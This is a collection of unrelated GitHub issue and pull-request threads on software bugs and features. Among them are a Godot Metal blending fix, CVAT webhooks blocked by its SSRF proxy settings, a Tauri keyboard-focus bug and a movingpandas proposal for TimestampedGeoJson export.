SIM-GH Action to build docker images and push them to the registry on merge to main

Problems with running tests on MacOS locally with act.
https://github.com/nektos/act/issues/97

Rabbit holes I went down while trying to get this to work on macos:
https://github.com/abiosoft/colima
https://blog.netnerds.net/2022/11/docker-macos-github-actions/
https://github.com/nektos/act/issues/97
https://github.com/ddev/ddev/blob/05ceed549d7807b1cebd63082910e54c37b1319e/.github/workflows/colima-tests.yml#L102-L106
https://github.com/abiosoft/colima/issues/905#issuecomment-2084457153
https://github.com/crazy-max/ghaction-setup-docker

Closing in favor of https://github.com/yeagerai/genlayer-simulator/issues/319


REST API

I implemented a variation on 1brc using JSON over HTTP.. yes I know it's crazy.  But it would be cool to list it on the site!
https://anypointspeedway.com/

if you can fit it in sure 👍 I added you to the org; its kinda a do-it-yourself process to add it -- you dont need me 😉


Metal: Fix subpixel blending; fix inconsistent blend state

Closes #97195

[!NOTE]
Investigating this issue identified an unrelated blending issue in Metal, which is also fixed.

2D: Reset has_blend state, which was incorrectly carried across batches.
Metal: Ensure blend state is applied when pipeline states are changed

I can confirm that this fixes the blending issue for subpixel antialiasing.

@mihe thanks for confirming 🙇🏻

Thanks!

Is it fixing https://github.com/godotengine/godot/issues/97056 as well?

Is it fixing https://github.com/godotengine/godot/issues/97056 as well?

Yes, that is the Metal part of the fix in that PR and I observed those symptoms in the issue


Rename electron.exe to ... Error

Sorry, but I have no idea what is going on here. I've typed in this command:
electron-packager . spotify-overlay --all
and this is the error that appears:
Official Linux/ia32 support is deprecated.
For more info: https://electronjs.org/blog/linux-32bit-support
Packaging app for platform win32 x64 using electron v8.0.0
ENOENT: no such file or directory, rename 'C:\Users\NEERON~1\AppData\Local\Temp\electron-packager\win32-x64\spotify-overlay-win32-x64\electron.exe' -> 'C:\Users\NEERON~1\AppData\Local\Temp\electron-packager\win32-x64\spotify-overlay-win32-x64\spotify-overlay.exe'

This is probably a no-brainer to what I'm doing wrong here, can someone please help me out? (also accidentally did bug, should be the 'help wanted' label. sorry)
Thanks!

Thanks for filing an issue! In order to help you with your problem, we're going to need more information about it. In particular:

Console output when you run electron-packager with the environment variable DEBUG=electron-packager (instructions for Windows and non-Windows). Please include the stack trace if one exists.

Please provide either a failing minimal testcase (with code) or detailed steps to reproduce your
problem. Using electron-quick-start is a good starting point.

Although this sounds like #1120 .


Added Google Sheets example

What's in this PR?
This PR includes an example of how to work with the dddice API in Google Sheets using Google Apps Script. I tried to make this as easy-to-use I could. The user API key is stored in the User Properties, so it won't appear as plaintext in the spreadsheet or the script (unless you edit the script to specifically do so). The functions are documented within the script, and the README was written assuming little to no prior experience with Google Apps Script.
This PR is in response to this integration request in the dddice Discord server.
Testing
I've tested this extensively in a sandbox spreadsheet, including a brand new one, so the README instructions should be accurate as of today.
Known Issues
Google Apps Script can be slow and can easily error out, especially if too many calls are made too quickly. The interface I present here is clunky, but it should at least be easy to predict when your dddice rolls will activate, which is not the case if you send the API request from a custom function in a cell (an example of something I tried while working on this).
Followup Work
This is not too far removed from being a fully-fledged Google Sheets Add-On, but I'm not interested right now in doing the work needed to publish it as one. The dddice team is welcome to build off of this example if they decide to make a dddice Google Add-On.

This is amazing :heart:
Give us a few days to digest this but 1. wow! and 2. thank you!
One nitpick if you don't mind, we try to follow conventional commits. A better commit message might be feat: add Google Sheets example.
Note to ourselves that we'll include this in the README for future work, so no worries it was missed - that's on us.
Thank you again!

One nitpick if you don't mind, we try to follow conventional commits. A better commit message might be feat: add Google Sheets example.

Commit message has been amended!


Webhook error 502 after SSRF improvement

My actions before raising this issue

[ x ] Read/searched the docs
[ x ] Searched past issues

I have a Flask server running on the same server as CVAT.
When i create a webhook request and i click on ping for exemple, i have an error 502 with dns name and 407 with IP.
I read the patch with SSRF sercurity improvement but even if i set the SMOKESCREEN_OPTS I'm getting the same error, the only difference is that I does'nt have error description when I ping with the API and i only have 502 and no 407.
Steps to Reproduce (for bugs)

Set .env SMOKESCREEN_OPTS with your server IP then docker compose up
Create flask server endpoint
Create webhook pointing on same IP as server but different port

Expected Behaviour

Ping request should success with status_code 200
Current Behaviour

Ping request fails with status_code 502
Possible Solution

Maybe my SMOKESCREEN_OPTS in my .env  is not properly set.
Or SMOKESCREEN_OPTS does'nt work correctly with webhooks.
Context

Here is my webhook

with {{IP}} = my server IP, for exemple <IP_ADDRESS>
@flask.route("/test", methods=['POST'])
def cvat():
content = request.get_json(silent=True)
print(content)
return {}, 200
My Flask server was working great before the update 2.5.0 so i don't think that it comes from this one.
Here is my .env:
CVAT_VERSION=v2.6.0
SMOKESCREEN_OPTS=<IP_ADDRESS>
Your Environment

Operating System and version (e.g. Linux, Windows, MacOS): Windows
Cvat version: v2.6.0

Hi, for a local deployment with docker you can try to use the following:

Create a user-defined bridge network:
docker network create -o "com.docker.network.bridge.enable_icc=true"  -o "com.docker.network.driver.mtu=1500" -o "com.docker.network.bridge.enable_ip_masquerade=true" cvat-local-bridge

Update the CVAT docker-compose.dev.yml file with these lines:

[...]

networks:
  cvat:
    name: cvat-local-bridge
    external: true

And restart the containers with docker compose -f docker-compose.yml -f docker-compose.dev.yml up -d.

You can deploy the other service you're developing on the localhost or in the container. If deploying in a container, make sure to join the container to this new network (either manually with docker network connect cvat-local-bridge <yourcontainer> or automatically in docker-compose the same way as for CVAT). Note that the localhost is also visible in this network, so you can reach it if needed. The gateway ip (for localhost) can be found in the docker network inspect cvat-local-bridge "IPAM" section (another way is to use ip addr br-<network id from 'docker network ls'>).

SMOKESCREEN_OPTS needs to be set to a Smokescreen option, not just an IP address. For example, SMOKESCREEN_OPTS=--allow-address=<IP_ADDRESS>.
You can find the list of available options in the Smokescreen README: https://github.com/stripe/smokescreen/blob/master/README.md.

SMOKESCREEN_OPTS needs to be set to a Smokescreen option (EDIT: or list of options), not just an IP address. For example, SMOKESCREEN_OPTS=--allow-address=<IP_ADDRESS>.
You can find the list of available options in the Smokescreen README: https://github.com/stripe/smokescreen/blob/master/README.md.

Thanks for your help everyone, @SpecLad solution works perfectly <3

Hello!
I'm facing the same problem. The only difference is that I am using fastapi in a docker container. Can you tell me what other settings I need to look at?
My docker-compose.yml:
version: '2.3'
services:
  cvat_wh:
    image: cvat_wh
    container_name: cvat_wh
    build:
      context: .
      dockerfile: Dockerfile
      network: "host"
    ports:
      - 8001:8001
    restart: always

When running CVAT, I also do an export, but with the port specified:
export SMOKESCREEN_OPTS=--allow-address={IP}:8001
Additionally, I checked that my server on fasapi is running. When accessed from the system, the server returns code 200.

@DenisN03, have you tried the advice about using a user-defined network in docker compose? It's possible that CVAT server can't reach your application from the docker container.

Merged everything into user-defined network. Tried with fastapi ip <IP_ADDRESS>.0 and <IP_ADDRESS>, but the problem remains. What ip should I specify for the fastapi server?

@DenisN03, you can find the container ip by calling docker container inspect <your_container> | jq '.[0]["NetworkSettings"]["Networks"]'

I got it! Thank you very much for your help!


Integrate Vault into account provisioning automation

Describe the issue
Vault could be used to improve the security and improve usability (multi-team member access) of provisioning processes.
Which Sprint Priority is this issue related to?

Note: 'Milestone' is a ZenHub term that we use synonomously with 'Sprint'.

The 'Milestone' overview/description (created in ZenHub) should clearly list Sprint Priorities/Goals. This section should indicate which of the priorities/goals this issue is related to.
Additional context
Assumes that this fits nicely with the usecase of platform services team
Definition of done

Account provisioning-related secrets stored in Vault and pulled from there at runtime.
Onboarding tech team members into vault

Platform Services Vault deployment is not accepting users yet, but we may have an opportunity to be early users based on discussions with Platform Services team.

Not relevant anymore


Table style tweaks

Made w/ Lou. @breilly2 how is this for your eyes?

This change needs more thinking/discussion, and this PR is getting stale, so we're going to close it for now.


[Event Request] Codeunit  6500 "Item Tracking Management" - OnItemTrkgIsManagedByWhse

In codeunit 6500 - procedure ItemTrkgIsManagedByWhse we would like to have control over the exit value
is it possible to add an event in the beginning of the procedure with following signature and code
OnItemTrkgIsManagedByWhse(Type: Integer; Subtype: Integer; ID: Code[20]; ProdOrderLine: Integer; RefNo: Integer; LocationCode: Code[10]; ItemNo: Code[20]); var IsHandled: Boolean; var Result: Boolean);
if IsHandled then
  exit(Result);

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.


[bug] Webview does not receive keyboard events until user interaction

Describe the bug
My use case is to be able to use keyboard shortcuts after the app has started and the window is opened. However, this does not work until the user interacts with the window. The only interaction that enables the keyboard handling seems to be the mouse click within the window.
This problem seems to apply to the keyboard events not being propagated into the webview. Because using the regular browser keyboard events does not work, such as pressing Space key to scroll the page down.
Reproduction

Start a Tauri app that opens a window that is vertically scrollable (any window with long enough content)
Press "Space" key after the window has opened

Expected behavior
The "Space" keyboard event is propagated to the webview and the view is scrolled down.
Platform and versions
Environment
  › OS: Mac OS 12.5.0 X64
  › Node.js: 18.0.0
  › npm: 8.19.2
  › pnpm: 7.0.1
  › yarn: 1.22.19
  › rustup: 1.24.3
  › rustc: 1.64.0
  › cargo: 1.64.0
  › Rust toolchain: stable-x86_64-apple-darwin

Packages
  › @tauri-apps/cli [NPM]: 1.1.1
  › @tauri-apps/api [NPM]: 1.1.0
  › tauri [RUST]: 1.1.1,
  › tauri-build [RUST]: 1.1.1,
  › tao [RUST]: 0.14.0,
  › wry [RUST]: 0.21.1,

Stack trace
No response
Additional context
No response

This can be related to https://github.com/tauri-apps/tauri/issues/3654

fixed in https://github.com/tauri-apps/wry/pull/740


android navbar position wrong with navTransparent

Version

react-native-router-flux v4.0.3
react v16.5.1
react-native v0.57.1

Expected behaviour
The nav contents stay at the middle of the view in Android which was normal @4.0.0-beta.31
Actual behaviour

stay at the bottom

Please fill the issue template properly. Without that, it's not possible to help.


Determine length of roads with flood inundation greater than a specified threshold

Kind of request
Adding new functionality
Enhancement Description
We need to know the length of road associated with each road 'object' in the exposure data in order to complete our infographic, which gives information about the length of roads that are inundated above some threshold (e.g. 0.5 feet).
Task list

Decide where the functionality should live to determine the length of road per road object (part of standard Delft-FIAT output, something that FloodAdapt backend does?)
Decide where the information should be stored (in the Delft-FIAT output? In a separate file?)

Use case
No response
Additional Context
No response

We are now implementing the roads in HydroMT-FIAT and I think it would be best if:

We save the road length in the exposure data
We compute the lengths of road inundated above a certain threshold with the FIAT toolbox and directly input into the infographic (or also save it as a small csv file)


Cannot interrupt robot.run and call it again

If reproduce.py is executing the first robot.run('test.robot') and it is interrupted with ctrl+c, the second robot.run('test.robot') will exit immediately with a Execution terminated by signal error message. Tested with robotframework 5.0.1
reproduce.py
import robot
robot.run('test.robot')
robot.run('test.robot')

test.robot
*** Test Cases ***
Long Sleeping
    Sleep    2600

The issue is that STOP_SIGNAL_MONITOR is still in the "interrupted" state at the second call to robot.run('test.robot') .
That can be worked around with some reloads:
workaround.py
import robot
from importlib import reload
from robot.running import signalhandler, librarykeywordrunner, model

robot.run('test.robot')
reload(signalhandler)
reload(librarykeywordrunner)
reload(model)
robot.run('test.robot')

or just longer sleep, I'm with you on this one


start_gpu_data_collector.sh script failure when tried to excute

Hello,
I am trying to create dashboard on azure for GPU Monitoring.
I followed the steps mentioned and updated the fields with the required details in  start_gpu_data_collector.sh file, when I tried to execute the scripts it throws below error.
gethostbyname("::1") failed.
Then I updated the script and executed as below
./gpu_data_collector.py -tis $INTERVAL_SECS -dfi $DCGM_FIELD_IDS > /tmp/gpu_data_collector.log, though I don't see any GPU Monitor custom fields created in the Log Analytics Workspace.

I am curious what modification to the script did you make to overcome the gethostbyname error?
Are you using this GPU monitoring script to monitor SLURM jobs GPU activity? (This is the default behavior). So, if you do not have a SLURM job running no GPU monitoring data will be sent to Azure monitor.
If you would like all processes on nodes to be monitored (even if they are not associated with a SLURM job) for GPU activity and the data to be sent to Azure Monitor (then add the -fgm command line argument).
I have made some corrections to the start-up and shutdown scripts (start_gpu_data_collector.sh, stop_gpu_data_collector.sh), see  https://github.com/Azure/azurehpc/pull/584
If you still do not see any data being sent to log analytics (Custom logs), then please send me the stdout/stderr (/tmp/gpu_data_collector.log) when you execute the python script.


Method to create TimestampedGeoJson from Trajectory/TrajectoryCollection

movingpandas is awesome. I would like to add the ability to create TimestampedGeoJson from a Trajectory or for all Trajectories in a TrajectoryCollection. I just hacked this together and it works great with Folium's TimestampedGeoJson plugin (https://python-visualization.github.io/folium/plugins.html#folium.plugins.TimestampedGeoJson). This gives you the ability to visualize your trajectories over time which can be be very helpful with debugging. It is also just plain cool/fun to watch. I'm happy to help or submit a PR.

Example implementation:
`import random
def random_color():
return "#" + hex(random.randint(0, 0xFF))[2:] + hex(random.randint(0, 0xFF))[2:] + hex(random.randint(0, 0xFF))[2:]
features = []
for trajectory in mpd_trajectories.trajectories:
color = random_color()
df = trajectory.df.copy()
df["previous_geometry"] = df["geometry"].shift()
df["time"] = df.index
df["previous_time"] = df["time"].shift()
for _, row in df.iloc[1:].iterrows():
coordinates = [
[
row["previous_geometry"].xy[0][0],
row["previous_geometry"].xy[1][0]
],
[
row["geometry"].xy[0][0],
row["geometry"].xy[1][0]
]
]
times = [row["previous_time"].isoformat(), row["time"].isoformat()]
features.append(
{
"type": "Feature",
"geometry": {
"type": "LineString",
"coordinates": coordinates,
},
"properties": {
"times": times,
"style": {
"color": color,
"weight": 5,
},
},
}
)
import folium
from folium.plugins import TimestampedGeoJson
m = folium.Map(location=[38.913340600000055, -77.009092], zoom_start=16)
TimestampedGeoJson(
{
"type": "FeatureCollection",
"features": features,
},
period="PT1S",
add_last_point=True,
transition_time=1000
).add_to(m)
m`

That's great! I've tested it and added a first proof of concept to the movingpandas-examples repository: https://github.com/anitagraser/movingpandas-examples/blob/57343562858d42bee6afeb7683bdf8364b37a3b6/tech-demos/folium-timestamped-geojson.ipynb

We could add to_timestamped_geojson() similar to the already available to_linestring() and to_linestringm_wkt() methods. The only additional complication is that the TimestampedGeoJson also contains styling information (line width and color). So the user should be able to customize the styling.

@davidbailey Do you have a suggestion for how to best handle the styling configuration?

@davidbailey Do you have a suggestion for how to best handle the styling configuration?

Good question. I took a look at how pandas, geopandas, and folium handle style.
It looks like pandas and geopandas use colormaps and dicts for style keywords. I believe this is because they are plotting with Matplotlib which uses colormaps. These libraries also often apply one style to the entire plot for other style options.
Folium, on the other hand, uses a style_function that returns a dict of style keywords. Personally I like the ease of a colormap, but a style_function works well for other options. I think the full list of options for plotting a TimestampedGeoJson in Folium actually comes from Leaflet: https://leafletjs.com/reference-1.6.0.html#path-option.
I would vote for a user-defined style_function like so:
def style_function(row):
    return {"color": "#008000", "width": row["width"]}

which we could take and use in each feature like so:
            {
                "type": "Feature",
                "geometry": {
                    "type": "LineString",
                    "coordinates": coordinates,
                },
                "properties": {
                    "times": times,
                    "style": style_function(row)
                },
            }

I also agree to_timestamped_geojson() would be awesome.

This looks good, but seems to be extremely verbose.  The folium example makes a geojson LineString Feature of each trajectory linestring segment.  This would suffice if each segment needed its own style or other parameters, but it makes a FeatureCollection out of one trajectory, which doesn't seem to preserve the principle of a MovingPandas trajectory element.
Would you consider making entire trajectory to a single LineString Feature, with each of the positions' times listed in the 'times' component of the properties as a list of the entire set of times?  This would be much more compact when working with lots of trajectories each with lots of points.

That is, something like this:
def traj_to_timestamped_geojson(trajectory):

    df = trajectory.df.copy()
    df["time"] = df.index

    coords = [ ]
    times  = [ ]

    for _, row in df.iterrows():
        coordinates = [
            [
                row["geometry"].xy[0][0],
                row["geometry"].xy[1][0]
            ]
        ]
        ptime = int(row["time"].timestamp())  # integer

        coords = coords + coordinates
        times.append(ptime)

    props = { "times" : times  }

    # and make a properties item of the other columns
    geom_col = trajectory.get_geom_column_name()
    a_row = trajectory.df.iloc[0]
    for column_name, item in a_row.iteritems():
        if column_name != geom_col:
            props[column_name] = item

    feat =  {
                "type": "Feature",
                "geometry": {
                    "type": "LineString",
                    "coordinates": coords,
                },
                "properties": props
            }
    return(feat)

@wendellwt Does this solution support coloring individual segments by segment attributes, such as speed?

No.  If that is what is desired, then the original proposal works fine.  It's just that it was too verbose for my application which was to encode hundreds of trajectories each with hundreds of points (and speed wasn't important).  I had originally use a variant of what @chaitan94 had used in his demo (that I read about in your blog), where the linestring was encoded as a list of (lon, lat, epoch) tuples, but it was not official GeoJson.  These methods with the times as a list properties element seems better in that it is proper GeoJson.

It may make sense to follow a similar approach like in the conversion from TrajectoryCollections to GeoDataFrame in #114: there is one function converting to individual segments and one function to convert into overall trajectories.

Hi, thank you for the comments on this, it really helped me implement it. I used a geopandas DataFrame instead of the trajectory and also vectorized some of it for a nice speed improvement. Hope this helps someone.
Tested on DataFrame with 36230 data points:

version with df.iterrows(): 5.09 s ± 150 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)
vectorized version: 734 ms ± 21.6 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)

`def geo_df_to_timestamped_geojson(geo_df, colour="blue", marker_type="LineString"):
df = geo_df.copy()
x_coords = df["geometry"].x.to_list()
y_coords = df["geometry"].y.to_list()
coordinate_list = [[x, y] for x, y in zip(x_coords, y_coords)]
times_list = [i.isoformat() for i in df["timestamp"].to_list()]
feature_list = [
    {
        "type": "Feature",
        "geometry": {
            "type": marker_type,
            "coordinates": coordinate_list,
        },
        "properties": {
            "times": times_list,
            "style": {
                "color": colour,
                "weight": 3,
            },
        },
    }
]

return feature_list`


Get-DbaAvailabilityGroup blown up and cleaned up

Fixes #978
Changes proposed in this pull request:

Cleaned this command up by rewriting it for the most part. 💣
Cleaned up help and removed unwanted parameters
Cleaned up output to be full AG object for SMO, but only have default set of properties output
Adjusted logic to determine primary replica based on SMO properties (this needs to be tested to verify it works on 2012 up to 2016 property BEFORE IT IS MERGED)

Has been tested on minimum requirements:

[ ]  Powershell 3
[ ]  SQL Server 2012

Has been tested on maximum requirements:

[ ]  SQL Server 2016
[ ]  Windows Server 2012 R2

Tests for tester:

[ ] Get-DbaAvailabilityGroup -SqlInstance Server1
[ ] Get-DbaAvailabilityGroup -SqlInstance Server1 -IsPrimary
[ ] Get-DbaAvailabilityGroup - SqlInstance Server1 -AvailabilityGroup AG1

Verify output and no errors.

The changes to this command will lead to two additional commands being built: Get-DbaAgReplica and Get-DbaAgDatabase each outputting only their associated SMO object as this command now does.

BOOOM 💣 , awesome changes! A few more are needed, though. Lemme go do a review real quick

Actually, NM, it was all stuff that you removed 💯
Would any of these be useful to the user?
IsDistributedAvailabilityGroup
LocalReplicaRole
PrimaryReplicaServerName
AvailabilityReplicas
AvailabilityDatabases
DatabaseReplicaStates
AvailabilityGroupListeners
I myself would like AvailabilityDatabases. You can do a Databases = AvailabilityDatabases - join ',' to make it prettier, but it's super cool that those are full on SMO objects. I'd probably like the AvailabilityGroupListeners as well.

added two columns - modify as desired


Question about evaluation on endonerf dataset.

Thank you very much for your wonderful work.
When I was reproducing your code in endosurf dataset, the following problem appeared:

I follow the Readme to prepare the Endonerf dataset，but the evaluation result is not very well，here's how it went and what it turned out to be.

root@b342aea81d4c:/data/endosurf# CUDA_VISIBLE_DEVICES=0 python src/trainer/trainer_endosurf.py --cfg configs/endosurf/baseline/base_pull.yml --mode test_2d
Setting up [LPIPS] perceptual loss: trunk [vgg], v[0.1], spatial [off]
/usr/local/lib/python3.8/dist-packages/torchvision/models/_utils.py:208: UserWarning: The parameter 'pretrained' is deprecated since 0.13 and may be removed in the future, please use 'weights' instead.
  warnings.warn(
/usr/local/lib/python3.8/dist-packages/torchvision/models/_utils.py:223: UserWarning: Arguments other than a weight enum or `None` for 'weights' are deprecated since 0.13 and may be removed in the future. The current behavior is equivalent to passing `weights=VGG16_Weights.IMAGENET1K_V1`. You can also use `weights=VGG16_Weights.DEFAULT` to get the most up-to-date weights.
  warnings.warn(msg)
Loading model from: /usr/local/lib/python3.8/dist-packages/lpips/weights/v0.1/vgg.pth
[Mode] test_2d
[Load data] dataset: endonerf, scene: pulling_soft_tissues
[Load data] complete!
[Experiment] exp_dir: logs/endosurf/base-endonerf-pulling_soft_tissues
[Load checkpoints] logs/endosurf/base-endonerf-pulling_soft_tissues/ckpt.tar.
DEMO|Render RGBD images
DEMO|Use testset with 8 frames
psnr_rgb_vr: 26.093102359398117
DEMO|ssim_rgb_vr: 0.8609503507614136
DEMO|lpips_rgb_vr: 0.19325168430805206
DEMO|rmse_d_vr: 4.342188562685641

I think maybe the *.pklfiles generated by data/endonerf/preprocess.py are wrong，so i download the  *.pklfiles which you have provided，here's how it went and what it turned out to be.
root@b342aea81d4c:/data/endosurf# CUDA_VISIBLE_DEVICES=0 python src/trainer/trainer_endosurf.py --cfg configs/endosurf/baseline/base_pull.yml --mode test_2d
Setting up [LPIPS] perceptual loss: trunk [vgg], v[0.1], spatial [off]
/usr/local/lib/python3.8/dist-packages/torchvision/models/_utils.py:208: UserWarning: The parameter 'pretrained' is deprecated since 0.13 and may be removed in the future, please use 'weights' instead.
  warnings.warn(
/usr/local/lib/python3.8/dist-packages/torchvision/models/_utils.py:223: UserWarning: Arguments other than a weight enum or `None` for 'weights' are deprecated since 0.13 and may be removed in the future. The current behavior is equivalent to passing `weights=VGG16_Weights.IMAGENET1K_V1`. You can also use `weights=VGG16_Weights.DEFAULT` to get the most up-to-date weights.
  warnings.warn(msg)
Loading model from: /usr/local/lib/python3.8/dist-packages/lpips/weights/v0.1/vgg.pth
[Mode] test_2d
[Load data] dataset: endonerf, scene: pulling_soft_tissues
[Load data] complete!
[Experiment] exp_dir: logs/endosurf/base-endonerf-pulling_soft_tissues
[Load checkpoints] logs/endosurf/base-endonerf-pulling_soft_tissues/ckpt.tar.
DEMO|Render RGBD images
DEMO|Use testset with 8 frames
psnr_rgb_vr: 35.01117011198838
DEMO|ssim_rgb_vr: 0.9555621147155762
DEMO|lpips_rgb_vr: 0.1203545331954956
DEMO|rmse_d_vr: 2.019412280709101

psnr_rgb_vr，ssim_rgb_vr，lpips_rgb_vr are consistent with the results in the paper，I wonder why this is happening？
2.The rmse_d_vr is not consistent with the results in the paper，so i check the dataset you offered，and find some depth picture is black，like this：

I wonder if that's the way it is or if it's something else...
That's all I have, I hope you can help me answer it.

Thanks for your interest in our work. There are some random operations in preprocess.py, e.g., point cloud downsampling, which may cause perturbation of poses. If you use the provided pre-trained model and generate *.pkl by yourself, you are likely to get poor evaluation results (due to pose differences). To get the correct results for your own *.pkl, please re-train the network.

There is a bug in code about RMSE and it is now fixed. Please see this issue.

OK，Thank you for your reply.


PHPStan issue: Missing composer package for Console Installer

This is a (multiple allowed):

[x] bug

[ ] enhancement

[ ] feature-discussion (RFC)

Version of project-template-cakephp: v42.0.1

What you did
Running phpstan analyse, phpstan complains on unknown Composer classes like Composer\Script\Event
What happened
Example of an output is following:
53     Parameter $event of method App\Console\Installer::postInstall() has invalid typehint type Composer\Script\Event.
  53     Parameter $event of method App\Console\Installer::postInstall() has invalid typehint type Composer\Script\Event.
  55     Call to method getIO() on an unknown class Composer\Script\Event.
  68     Do not throw the \Exception base class. Instead, extend the \Exception base class. More info: http://bit.ly/subtypeexception
  99     In method "App\Console\Installer::createAppConfig", parameter $io can be type-hinted to "\Composer\IO\IOInterface". More info: http://bit.ly/usetypehint
  99     Parameter $io of method App\Console\Installer::createAppConfig() has invalid typehint type Composer\IO\IOInterface.
  105    Call to method write() on an unknown class Composer\IO\IOInterface.
  116    In method "App\Console\Installer::createWritableDirectories", parameter $io can be type-hinted to "\Composer\IO\IOInterface". More info: http://bit.ly/usetypehint
  116    Parameter $io of method App\Console\Installer::createWritableDirectories() has invalid typehint type Composer\IO\IOInterface.
  122    Call to method write() on an unknown class Composer\IO\IOInterface.
  136    In method "App\Console\Installer::setFolderPermissions", parameter $io can be type-hinted to "\Composer\IO\IOInterface". More info: http://bit.ly/usetypehint
  136    Parameter $io of method App\Console\Installer::setFolderPermissions() has invalid typehint type Composer\IO\IOInterface.
  148    Call to method write() on an unknown class Composer\IO\IOInterface.
  150    Call to method write() on an unknown class Composer\IO\IOInterface.

What you expected to happen
cakephp/app uses cakephp/debug_kit that brings composer/composer. composer interfaces are used in src/Console/Installer.php.
In case of project-template-cakephp, that doesn't use debug_kit, phpstan comlains about missing classes/interfaces.

The PR #723 is merged now.  Thanks!


control: refactor rangeAidConditionsMet function

Just because it took me way too long to read this function.
After this refactor, the comment at the top of the function is almost redundant, should we remove it?

@bresch Looks like a nice cleanup! Maybe you can rename "rangeAidConditionsMet" to "updateRangeAidEnabled" or "updateRangeAid" or something similar. The current name somehow makes me think that his function should return a boolean.

@bresch We need a test log where you can see the estimator switching in and out of range aid.
I usually use gazebo and add a a few boxes. Then I fly over them and verify that the drones does not change altitude.

@RomanBapst I changed the names and I did a sitl test with boxes:
https://logs.px4.io/plot_app?log=4bc72eb4-4d74-4aa2-a068-cae8828313e7
It switches properly in and out of rang aid

@RomanBapst Can you review again please?


DOC: add some documentation from answering Breiner questions.

Just a few documentation changes.

Thanks for this helpful overview material!


Moving extract_atom types functoin from reader/xps to nexusutils/help…

…er module.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

39 of 52 (75.0%)  changed or added relevant lines in 2 files are covered.
6 unchanged lines in 3 files lost coverage.
Overall coverage increased (+0.008%) to 56.412%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

nexusutils/dataconverter/helpers.py
33
46
71.74%

Files with Coverage Reduction
New Missed Lines
%

nexusutils/nyaml2nxdl/nyaml2nxdl.py
1
42.42%

nexusutils/nexus/nexus.py
2
73.93%

nexusutils/dataconverter/readers/xps/reader.py
3
97.38%

Totals

Change from base Build<PHONE_NUMBER>:
0.008%

Covered Lines:
4245

Relevant Lines:
7525

💛  - Coveralls

Handling of atoms does work which is logically unrelated to parsing so instead of placing these functions in the generic helpers.py better would be to make py file with a speaking name were all this atom handling is stored this file can be in the same place like helpers at the same level of the directory tree in this way one could then import it selectively where needed, I agree that such functions should be in the generic place for the dataconverter as it is indeed cross-reader


Django4.1

What
This PR adds support for the latest django 4.1 and python 3.11
How tested
existing unittests

@jdavisp3 Is there a test pipeline for this anymore?  I can add github actions if needed.

@kreneskyp Not that I know of.

@jdavisp3
Added github actions. Don't think they show up in PRs until after it's merged. Successful run here:
https://github.com/kreneskyp/baya/actions/runs/3499413263
local tests also work:
pkrenesky@c13589pkrenesky baya % make test

___________________________________________________________________________ summary ____________________________________________________________________________
  py37-django3.1: commands succeeded
  py37-django3.2: commands succeeded
  py38-django3.1: commands succeeded
  py38-django3.2: commands succeeded
  py38-django4.0: commands succeeded
  py38-django4.1: commands succeeded
  py39-django3.1: commands succeeded
  py39-django3.2: commands succeeded
  py39-django4.0: commands succeeded
  py39-django4.1: commands succeeded
  py310-django3.1: commands succeeded
  py310-django3.2: commands succeeded
  py310-django4.0: commands succeeded
  py310-django4.1: commands succeeded
  py311-django3.1: commands succeeded
  py311-django3.2: commands succeeded
  py311-django4.0: commands succeeded
  py311-django4.1: commands succeeded
  congratulations :)
Name                             Stmts   Miss Branch BrPart  Cover
------------------------------------------------------------------
baya/__init__.py                     8      0      0      0   100%
baya/_version.py                     1      0      0      0   100%
baya/admin/__init__.py               2      0      0      0   100%
baya/admin/options.py               40      0      2      0   100%
baya/admin/sites.py                 69      7     38     11    83%
baya/backend.py                     40      0     16      1    98%
baya/context_processors.py           9      9      4      0     0%
baya/dynamic_roles.py               21      2      2      0    91%
baya/membership.py                 102      3     16      1    97%
baya/mock_ldap_helpers.py           71      0     28      0   100%
baya/permissions.py                176      8     68      8    93%
baya/templatetags/__init__.py        0      0      0      0   100%
baya/templatetags/baya_tags.py       9      0      0      0   100%
baya/utils.py                       36      2     22      3    91%
baya/visitors.py                    65      5     14      1    92%
------------------------------------------------------------------
TOTAL                              649     36    210     25    92%

pkrenesky@c13589pkrenesky baya % make lint

flake8.checker            MainProcess    292 INFO     Checking 41 files
flake8.main.application   MainProcess   1367 INFO     Finished running
flake8.main.application   MainProcess   1367 INFO     Reporting errors
flake8.main.application   MainProcess   1368 INFO     Found a total of 44 violations and reported 0
___________________________________________________________________________ summary ____________________________________________________________________________
  lint: commands succeeded
  congratulations :)

@jdavisp3 @jtratner  Do you have access to merge this?   Ilkay is working on a python 3.11 upgrade and needs these changes.

@kreneskyp 👍


streams: Use page_params.neversubbed_info client-side.

Automated message from Dropbox CLA bot
@showell, it looks like you've already signed the Dropbox CLA. Thanks!

Merged, thanks @showell!


Add support for outputTemplate message formatting

Hi,
we recently introduced Slack in our company and I would love to output Error/Fatal log messages into a channel. I managed to do so with this sink in minutes. 👍
While fiddling around with it I tried to set an outputeTemplate parameter to control the rendered text messages in the logs, but couldn't find any such parameter. Does this sink not support this?
I want to have several web services log into a single channel and without contextual information like the SourceContext or a RequestID in the log message it would be impossible to tell from which web service a log came or what's related.
Could you add this parameter to support the typical way of formatting the log messages in Serilog?
Kind regards
Michael

I don't think its supported at the moment. I don't have resources (time, env) to make this change, but you are welcome to create PR - I should be able to merge that in reasonable time :)

There is currently no support for an outputTemplate as you may be accustomed to, however you can make use of custom properties (either with enrichers during startup registration) or dynamic properties at runtime ( logger.LogInformation("{RequestCount} requests have been served", requests.Count); ). Considering the age of the original comment, I am closing this issue.

There is currently no support for an outputTemplate as you may be accustomed to, however you can make use of custom properties (either with enrichers during startup registration) or dynamic properties at runtime ( logger.LogInformation("{RequestCount} requests have been served", requests.Count); ). Considering the age of the original comment, I am closing this issue.


Missing UI Automation

The UI Automation API is defined in several different C/C++ header files

Header file
Description

UIAutomationClient.h
Defines the interfaces and related programming elements used by UI Automation clients.

UIAutomationCore.h
Defines the interfaces and related programming elements used by UI Automation providers.

UIAutomationCoreApi.h
Defines general constants, GUIDs, data types, and structures used by  UI Automation clients and providers. It also contains definitions for  the deprecated node and control pattern functions.

UIAutomation.h
Includes all of the other UI Automation header files. Because most  UI Automation applications require elements from all UI Automation  header files, it is best to include UIAutomation.h in your UI Automation  application projects instead of including each file individually.

